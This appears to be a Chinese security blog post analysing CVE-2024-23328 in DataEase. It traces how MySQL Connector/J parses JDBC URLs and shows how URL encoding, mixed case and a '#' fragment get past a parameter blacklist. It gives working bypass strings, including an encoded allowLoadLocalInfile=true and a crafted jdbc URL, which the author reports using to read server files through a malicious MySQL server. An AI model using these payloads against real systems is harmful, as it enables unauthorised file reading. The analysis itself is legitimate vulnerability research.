Dataease jdbcUrl bypss分析(CVE-2024-23328)
6right 发表于 浙江 历史精选 3900浏览 · 2024-02-02 02:12

漏洞描述

Dataease是一个开源的数据可视化分析工具。DataEase浏览器中存在漏洞,可利用此漏洞执行任意代码。漏洞代码的位置为core/core-backend/src/main/java/io/dataease/database/type/Mysql.java。mysql jdbc攻击的黑名单可以被绕过,攻击者可以进一步利用它进行恶意执行或阅读任意文件。此漏洞已在1.18.15和2.3.0中修补。

环境安装

Windows 单机部署 - DataEase 文档

补丁分析

参考修复:fix: 限制 mysql 非法参数 · dataease/dataease@4128adf · GitHub
漏洞代码位置:
core/core-backend/src/main/java/io/dataease/datasource/type/Mysql.java
原本过滤如下:

for (String illegalParameter : illegalParameters) {
                if (getExtraParams().toLowerCase().contains(illegalParameter.toLowerCase())) {
                    DEException.throwException("Illegal parameter: " + illegalParameter);
                }
            }

对用户可控的jdbc参数,进行过滤,过滤黑名单如下:

private List<String> illegalParameters = Arrays.asList("autoDeserialize", "queryInterceptors", "statementInterceptors", "detectCustomCollations", "allowloadlocalinfile", "allowUrlInLocalInfile", "allowLoadLocalInfileInPath");

但是没有考虑url编码的情况,这里可以将allowLoadLocalInfile=true进行url编码得到

  • %61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65=%74%72%75%65
    # 漏洞复现
    后台存在数据库连接建立

url编码后成功绕过过滤,且jdbc连接时正常解析url编码,点击校验,成功向恶意服务器发送
成功绕过过滤响应:

服务端收到带有allowLoadLocalInfile=true参数的连接,成功读取服务器文件

​url编码是再何时被解析的?

mysql jdbcUrl是怎么支持URL编码的,我们可以跟踪jdbc 链接的数据流来看
首先是调用com.mysql.cj.jdbc.NonRegisteringDriver#connect

public Connection connect(String url, Properties info) throws SQLException {  
    try {  
        try {  
            if (!ConnectionUrl.acceptsUrl(url)) {  
                return null;  
            } else {  
                ConnectionUrl conStr = ConnectionUrl.getConnectionUrlInstance(url, info);  
                switch (conStr.getType()) {  
                    case SINGLE_CONNECTION:  
                        return ConnectionImpl.getInstance(conStr.getMainHost());  
                    case FAILOVER_CONNECTION:  
                    case FAILOVER_DNS_SRV_CONNECTION:  
                        return FailoverConnectionProxy.createProxyInstance(conStr);  
                    case LOADBALANCE_CONNECTION:  
                    case LOADBALANCE_DNS_SRV_CONNECTION:  
                        return LoadBalancedConnectionProxy.createProxyInstance(conStr);  
                    case REPLICATION_CONNECTION:  
                    case REPLICATION_DNS_SRV_CONNECTION:  
                        return ReplicationConnectionProxy.createProxyInstance(conStr);  
                    default:  
                        return null;  
                }  
            }  
        }...

看什么jdbcurl才能被acceptsUrl通过

public static boolean acceptsUrl(String connString) {  
    return ConnectionUrlParser.isConnectionStringSupported(connString);  
}

直接调用了isConnectionStringSupported

public static boolean isConnectionStringSupported(String connString) {  
    if (connString == null) {  
        throw (WrongArgumentException)ExceptionFactory.createException(WrongArgumentException.class, Messages.getString("ConnectionString.0"));  
    } else {  
        Matcher matcher = SCHEME_PTRN.matcher(connString);  
        return matcher.matches() && Type.isSupported(decodeSkippingPlusSign(matcher.group("scheme")));  
    }  
}

需要正则匹配SCHEME_PTRN如下:

(?<scheme>[\w\+:%]+).*
  • (?<scheme>[\w\+:%]+): 这是一个捕获组,通过 ?<scheme> 给捕获的内容指定了一个名字为 scheme[\w\+:%]+ 匹配一个或多个字符,这些字符可以是字母、数字、下划线、加号、冒号或百分号。这部分主要匹配 URL 中的协议部分。
    例如:jdbc:mysql://127.0.0.1:3308/b 匹配scheme为jdbc:mysql:
  • .*: 这部分匹配任意数量的字符(除了换行符)。它表示捕获 scheme 后的 URL 的其余部分。
    scheme捕获到的协议部分经过com.mysql.cj.conf.ConnectionUrlParser#decodeSkippingPlusSign处理

    private static String decodeSkippingPlusSign(String text) {  
      if (StringUtils.isNullOrEmpty(text)) {  
          return text;  
      } else {  
          text = text.replace("+", "%2B");  
    
          try {  
              return URLDecoder.decode(text, StandardCharsets.UTF_8.name());  
          } catch (UnsupportedEncodingException var2) {  
              return "";  
          }  
      }  
    }
    

    这里会替换+为%2B并尝试对scheme部分进行url解码(所以jdbcUrl的scheme部分也支持url编码)
    然后回到isConnectionStringSupported再看isSupported函数处理

    public static boolean isSupported(String scheme) {  
      Type[] var1 = values();  
      int var2 = var1.length;  
    
      for(int var3 = 0; var3 < var2; ++var3) {  
          Type t = var1[var3];  
          if (t.getScheme().equalsIgnoreCase(scheme)) {  
              return true;  
          }  
      }  
    
      return false;  
    }
    

    这里使用了java枚举对象values函数

  • 该方法用于将所有的枚举对象以数组的形式返回,方便使用
    查看枚举类Type

可以看到存在很多枚举对象,存在属性schema和implementingClass,也就是遍历这些对象scheme,看是否存在。
注:这里使用的equalsIgnoreCase不区分大小写,所以jDbC:mYsqL也一样可以
再结合上面的url解码,其实scheme部分非常随便如:%6aDbC:mYsqL也可以通过
可以看出来acceptsUrl重点在于scheme的限制,只需要知道scheme需要符合以上枚举类定义即可

再回到com.mysql.cj.jdbc.NonRegisteringDriver#connect

public Connection connect(String url, Properties info) throws SQLException {  
    try {  
        try {  
            if (!ConnectionUrl.acceptsUrl(url)) {  
                return null;  
            } else {  
                ConnectionUrl conStr = ConnectionUrl.getConnectionUrlInstance(url, info);  
                switch (conStr.getType()) {  
                    case SINGLE_CONNECTION:  
                        return ConnectionImpl.getInstance(conStr.getMainHost());  
                    case FAILOVER_CONNECTION:  
                    case FAILOVER_DNS_SRV_CONNECTION:  
                        return FailoverConnectionProxy.createProxyInstance(conStr);  
                    case LOADBALANCE_CONNECTION:  
                    case LOADBALANCE_DNS_SRV_CONNECTION:  
                        return LoadBalancedConnectionProxy.createProxyInstance(conStr);  
                    case REPLICATION_CONNECTION:  
                    case REPLICATION_DNS_SRV_CONNECTION:  
                        return ReplicationConnectionProxy.createProxyInstance(conStr);  
                    default:  
                        return null;  
                }  
            }  
        } ...

现在再看会发现SINGLE_CONNECTION,FAILOVER_CONNECTION等等都是在Type枚举类中定义好的。
接着步入com.mysql.cj.conf.ConnectionUrl#getConnectionUrlInstance

public static ConnectionUrl getConnectionUrlInstance(String connString, Properties info) {  
    if (connString == null) {  
       ...
    } else {  
        String connStringCacheKey = buildConnectionStringCacheKey(connString, info);  
        rwLock.readLock().lock();  
        ConnectionUrl connectionUrl = (ConnectionUrl)connectionUrlCache.get(connStringCacheKey);  
        if (connectionUrl == null) {  
            rwLock.readLock().unlock();  
            rwLock.writeLock().lock();  

            try {  
                connectionUrl = (ConnectionUrl)connectionUrlCache.get(connStringCacheKey);  
                if (connectionUrl == null) {  
                    ConnectionUrlParser connStrParser = ConnectionUrlParser.parseConnectionString(connString);  
                    connectionUrl = ConnectionUrl.Type.getConnectionUrlInstance(connStrParser, info);  
                    connectionUrlCache.put(connStringCacheKey, connectionUrl);  
                }  

                rwLock.readLock().lock();  
            } finally {  
                rwLock.writeLock().unlock();  
            }  
        }  

        rwLock.readLock().unlock();  
        return connectionUrl;  
    }  
}

buildConnectionStringCacheKey 对参数properties进行了拼接成为connStringCacheKey

private static String buildConnectionStringCacheKey(String connString, Properties info) {  
    StringBuilder sbKey = new StringBuilder(connString);  
    sbKey.append("§");  
    sbKey.append(info == null ? null : (String)info.stringPropertyNames().stream().map((k) -> {  
        return k + "=" + info.getProperty(k);  
    }).collect(Collectors.joining(", ", "{", "}")));  
    return sbKey.toString();  
}

拼接的格式是jdbcurl§{xx=xx,xxx=xxx}
如下图:

然后根据返回的connStringCacheKey尝试从缓存中获取connectionUrl
没有缓存就通过parseConnectionString获取ConnectionUrlParser对象(使用的是原始jdbcurl 不是key处理过的)

private ConnectionUrlParser(String connString) {  
    if (connString == null) {  
      xxx
    } else if (!isConnectionStringSupported(connString)) {  
      xxx 
    } else {  
        this.baseConnectionString = connString;  
        this.parseConnectionString();  
    }  
}

可以看到这里又调用了isConnectionStringSupported,又一次对scheme进行了校验
往下看parseConnectionString函数

private void parseConnectionString() {  
    String connString = this.baseConnectionString;  
    Matcher matcher = CONNECTION_STRING_PTRN.matcher(connString);  
    if (!matcher.matches()) {  
        throw (WrongArgumentException)ExceptionFactory.createException(WrongArgumentException.class, Messages.getString("ConnectionString.1"));  
    } else {  
        this.scheme = decodeSkippingPlusSign(matcher.group("scheme"));  
        this.authority = matcher.group("authority");  
        this.path = matcher.group("path") == null ? null : decode(matcher.group("path")).trim();  
        this.query = matcher.group("query");  
    }  
}

CONNECTION_STRING_PTRN正则如下:

(?<scheme>[\\w\\+:%]+)\\s*(?://(?<authority>[^/?#]*))?\\s*(?:/(?!\\s*/)(?<path>[^?#]*))?(?:\\?(?!\\s*\\?)(?<query>[^#]*))?(?:\\s*#(?<fragment>.*))?

以jdbc:mysql://127.0.0.1:3308/b?user=aaa&password=bbb为例

    • (?<scheme>[\\w\\+:%]+): 这是一个捕获组,用于匹配jdbcurl的协议部分。[\w\+:%]+ 匹配一个或多个字符,可以是字母、数字、下划线、加号、冒号或百分号。
      • 匹配jdbc:mysql
  • \\s*: 这部分匹配零个或多个空白字符
    • 匹配空白
  • (?://(?<authority>[^/?#]*))?: 这是一个可选的捕获组,用于匹配 jdbcurl 中的 authority 部分,如 //example.com:8080(?<authority>[^/?#]*) 匹配 authority 部分的字符,但不包括 /?#
    • 匹配127.0.0.1:3308
  • (?:/(?!\\s*/)(?<path>[^?#]*))?: 这是一个可选的捕获组,用于匹配 URL 中的路径部分。(?: ... ) 表示一个非捕获组,(?!\\s*/) 表示路径不能以零个或多个空白字符后跟 / 开头。(?<path>[^?#]*) 匹配路径部分的字符,但不包括 ?#
    • 匹配b
  • (?:\\?(?!\\s*\\?)(?<query>[^#]*))?: 这是一个可选的捕获组,用于匹配 URL 中的查询部分。(?:\\? ... ) 表示查询部分以 ? 开头。(?!\\s*\\?) 表示查询部分不能以零个或多个空白字符后跟 ? 开头。(?<query>[^#]*) 匹配查询部分的字符,但不包括 #
    • 匹配user=aaa&password=bbb
  • (?:\\s*#(?<fragment>.*))?: 这是一个可选的捕获组,用于匹配 URL 中的片段部分。(?:\\s*# ... ) 表示片段部分以 # 开头。(?<fragment>.*) 匹配片段部分的所有字符。

    • 这里存在jdbc bypass另外一个gadget,#符号后面的字符会被解析为注释
      然后正则匹配的各个部分就会被添加到ConnectionUrlParser属性中,ConnectionUrlParser还存在parseQuerySection函数将jdbcurl query部分解析为Properties

      private void parseQuerySection() {  
      if (StringUtils.isNullOrEmpty(this.query)) {  
        this.parsedProperties = new HashMap();  
      } else {  
        this.parsedProperties = this.processKeyValuePattern(PROPERTIES_PTRN, this.query);  
      }  
      }
      

      正则PROPERTIES_PTRN如下

      [&\\s]*(?<key>[\\w\\.\\-\\s%]*)(?:=(?<value>[^&]*))?

      存在query时步入processKeyValuePattern

      private Map<String, String> processKeyValuePattern(Pattern pattern, String input) {  
      Matcher matcher = pattern.matcher(input);  
      int p = 0;  
      
      HashMap kvMap;  
      for(kvMap = new HashMap(); matcher.find(); p = matcher.end()) {  
        if (matcher.start() != p) {  
            throw (WrongArgumentException)ExceptionFactory.createException(WrongArgumentException.class, Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));  
        }  
      
        String key = decode(StringUtils.safeTrim(matcher.group("key")));  
        String value = decode(StringUtils.safeTrim(matcher.group("value")));  
        if (!StringUtils.isNullOrEmpty(key)) {  
            kvMap.put(key, value);  
        } else if (!StringUtils.isNullOrEmpty(value)) {  
            throw (WrongArgumentException)ExceptionFactory.createException(WrongArgumentException.class, Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));  
        }  
      }  
      
      if (p != input.length()) {  
        throw (WrongArgumentException)ExceptionFactory.createException(WrongArgumentException.class, Messages.getString("ConnectionString.4", new Object[]{input.substring(p)}));  
      } else {  
        return kvMap;  
      }  
      }
      

      正则匹配解析如下

  • [&\\s]*: 这部分匹配零个或多个 "&" 或空白字符。
  • (?<key>[\\w\\.\\-\\s%]*): 这是一个捕获组,用于匹配参数的键。[\\w\\.\\-\\s%]* 匹配零个或多个字母、数字、下划线、点、连字符、空白字符或百分号。捕获的内容将被命名为 "key"。
  • (?:=(?<value>[^&]*))?: 这是一个非捕获组,用于匹配参数值。(?: ... ) 表示一个非捕获组,=(?<value>[^&]*) 表示参数值以 "=" 开头,后跟零个或多个非 "&" 的字符。捕获的内容将被命名为 "value"。
    整个正则表达式将匹配 URL 查询字符串中的一个参数,并将参数的键和值捕获到对应的捕获组中。如果参数没有值,则 "value" 捕获组可能不存在。
    可以看到获取到键值对后,调用了trim删除空白字符,然后使用com.mysql.cj.conf.ConnectionUrlParser#decode进行解码

    private static String decode(String text) {  
      if (StringUtils.isNullOrEmpty(text)) {  
          return text;  
      } else {  
          try {  
              return URLDecoder.decode(text, StandardCharsets.UTF_8.name());  
          } catch (UnsupportedEncodingException var2) {  
              return "";  
          }  
      }  
    }
    

    可以看到调用的时url编码,这也是为什么jdbc中键值对可以url编码,但是=不能url编码的原因
    但是这个过程不是在ConnectionUrlParser初始化时调用的
    是在com.mysql.cj.conf.ConnectionUrl.Type#getConnectionUrlInstance初始化中发生

    public static ConnectionUrl getConnectionUrlInstance(ConnectionUrlParser parser, Properties info) {  
      int hostsCount = parser.getHosts().size();  
      Type type = fromValue(parser.getScheme(), hostsCount);  
      PropertyKey dnsSrvPropKey = type.getDnsSrvPropertyKey();  
      if (dnsSrvPropKey != null && type.getAlternateDnsSrvType() != null) {  
          if (info != null && info.containsKey(dnsSrvPropKey.getKeyName())) {  
              if ((Boolean)PropertyDefinitions.getPropertyDefinition(dnsSrvPropKey).parseObject(info.getProperty(dnsSrvPropKey.getKeyName()), (ExceptionInterceptor)null)) {  
                  type = fromValue(type.getAlternateDnsSrvType().getScheme(), hostsCount);  
              }  
          } else {  
              Map parsedProperties;  
              if ((parsedProperties = parser.getProperties()).containsKey(dnsSrvPropKey.getKeyName()) && (Boolean)PropertyDefinitions.getPropertyDefinition(dnsSrvPropKey).parseObject((String)parsedProperties.get(dnsSrvPropKey.getKeyName()), (ExceptionInterceptor)null)) {  
                  type = fromValue(type.getAlternateDnsSrvType().getScheme(), hostsCount);  
              }  
          }  
      }  
    
      return type.getImplementingInstance(parser, info);  
    }
    

    这里对dnsSrv进行了判断,主要还是在if中调用了getProperties函数

    public Map<String, String> getProperties() {  
      if (this.parsedProperties == null) {  
          this.parseQuerySection();  
      }  
    
      return Collections.unmodifiableMap(this.parsedProperties);  
    }
    

    此时parsedProperties属性为null,从而调用parseQuerySection初始化额外参数,也就对额外参数进行了url解码
    根据上面的分析,最终可以给出的特殊jdbcurl

    %6adBc:mYsQl://127.0.0.1:3308/xxx?  %61%6c%6c%6f%77%4c%6f%61%64%4c%6f%63%61%6c%49%6e%66%69%6c%65  =  %74%72%75%65#

    依旧可以做到利用

1 条评论
某人
表情
可输入 255